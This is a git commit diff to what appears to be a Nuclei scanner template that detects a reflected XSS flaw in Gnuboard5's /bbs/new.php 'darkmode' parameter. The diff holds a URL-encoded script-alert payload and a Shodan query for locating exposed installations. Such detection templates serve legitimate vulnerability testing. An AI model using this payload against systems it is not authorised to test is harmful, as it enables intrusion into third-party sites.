Update gnuboard5-xss.yaml

patch-1
Ritik Chaddha 2022-08-24 12:23:48 +05:30 committed by GitHub
parent 7dfd3a4edd
commit f7e6c4d03d
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 14 additions and 10 deletions

View File

@ -9,22 +9,26 @@ info:
reference:
- https://huntr.dev/bounties/ad2a9b32-fe6c-43e9-9b05-2c77c58dde6a/
metadata:
verified: true
shodan-query: http.html:"gnuboard5"
verified: "true"
tags: xss, gnuboard
tags: gnuboard,xss
requests:
- raw:
- |
GET /bbs/new.php?darkmode=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: {{Hostname}}
- method: GET
path:
- "{{BaseURL}}/bbs/new.php?darkmode=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
matchers-condition: and
matchers:
- type: word
words:
- 'header\"><script>alert(document.domain)</script>.css?'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
- type: word
words:
- '<script>alert(document.domain)</script>'